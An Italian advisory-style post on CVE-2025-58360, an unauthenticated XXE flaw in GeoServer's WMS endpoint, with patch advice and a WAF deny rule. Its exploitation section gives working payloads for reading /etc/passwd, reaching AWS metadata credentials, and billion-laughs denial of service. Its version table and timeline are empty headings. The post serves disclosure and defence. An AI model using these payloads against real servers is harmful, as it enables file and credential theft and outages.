🔓 🛰️ 'CVE-2025-58360' Endpoint WMS di GeoServer Vulnerabile ad Attacco XXE 🌟

🏷️ Informazioni di Base

• CVE ID: CVE-2025-58360
• Pubblicato: 📅 25 Novembre 2025
• Ultima Modifica: 📅 25 Novembre 2025 (ancora fresco al 26 Nov)
• Tipo di Vulnerabilità: XML External Entity (XXE) – CWE-611
• Software Affetto: GeoServer (server geospaziale open-source scritto in Java)
• Gravità: 🔥 Alta – Punteggio Base CVSS v3.1 7.5
  • Vettore: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
• Sfruttamento in Natura: 🟡 Non ancora osservato (26 Nov 2025) – ma PoC pubblici stanno circolando
• Autenticazione Richiesta: ❌ Nessuna – completamente non autenticato
• Interazione Utente Richiesta: ❌ Nessuna

🎨 Cosa Rende Questo Bug Speciale (e Pericoloso)

Questo è un XXE classico ma devastante nell'endpoint GetMap del Web Map Service (WMS).
Gli attaccanti possono:

• 📂 Leggere qualsiasi file a cui il processo GeoServer ha accesso (/etc/passwd, geoserver.xml, chiavi private, ecc.)
• 🌐 Effettuare Server-Side Request Forgery (SSRF) per scansionare reti interne o colpire endpoint di metadati (es. AWS/GCP)
• 💣 Innescare Denial-of-Service con attacchi di espansione entità (“billion laughs”)
• 🔗 Potenzialmente combinare con altre vulnerabilità per RCE completo (non diretto, ma possibile in configurazioni errate)

🛡️ Versioni Affette (Tabella Dettagliata)

🌍 Esposizione Globale (In tempo reale al 26 Nov 2025)

→ Sono decine di migliaia di server potenzialmente vulnerabili esposti su Internet aperto in questo momento! 🌐

🧨 Guida Completa allo Sfruttamento Tecnico

Endpoint: POST /geoserver/wms
Parametro Chiave: SLD_BODY (permette stile XML grezzo)
Percorso del Codice Vulnerabile: Il parser XML non disabilita la risoluzione di entità esterne → XXE classico.

Esempio 1 – Divulgazione File (/etc/passwd)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
  <sld:UserLayer>
    <sld:LayerFeatureConstraints>
      <sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
    </sld:LayerFeatureConstraints>
  </sld:UserLayer>
</sld:StyledLayerDescriptor>

→ La risposta contiene il contenuto di /etc/passwd 🎉

Esempio 2 – SSRF verso Metadati Interni (esempio AWS)

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">

→ Perde credenziali AWS temporanee se in esecuzione su EC2.

Esempio 3 – DoS Billion Laughs

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- ripeti fino a lol9 -->
]>
<lol>&lol9;</lol>

→ Consuma gigabyte di RAM in secondi 💥

🛠️ Patch Ufficiali e Download

Utenti Docker:

docker pull osgeo/geoserver:2.27.0

🔧 Soluzioni Alternative (se non puoi patchare immediatamente)

1. Bloccare XML pericoloso con regola WAF/mod_security:
   Negare richieste contenenti <!ENTITY o SYSTEM "file://
2. Disabilitare il parametro SLD_BODY globalmente (se non necessario)
3. Eseguire GeoServer con filesystem in sola lettura + rimuovere capacità
4. Mettere dietro un reverse proxy che rimuove i corpi XML per utenti non autenticati

📢 Riferimenti Ufficiali e PoC

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-58360
• GeoServer Advisory: https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525
• JIRA Ticket: https://osgeo-org.atlassian.net/browse/GEOS-11682
• Public Safe PoC (Python): https://gist.github.com/bolhasec/32fa035354d7cc9417aa297e2fe22b30
• Template Nuclei (auto-rilevamento): Già integrato nel ramo principale

⏰ Cronologia

✨ Parole Finali

Questo è un XXE da manuale che colpisce una piattaforma geospaziale ampiamente distribuita con decine di migliaia di istanze esposte su Internet.
Patch rilasciate lo stesso giorno della divulgazione — grandi complimenti al team di GeoServer per la velocità! 🏆
Ma la finestra tra disponibilità delle patch e sfruttamento di massa si sta restringendo rapidamente.

Se gestisci GeoServer → aggiorna oggi.
Non diventare la prossima notizia.

Rimani sicuro, rimani splendente! 🛡️✨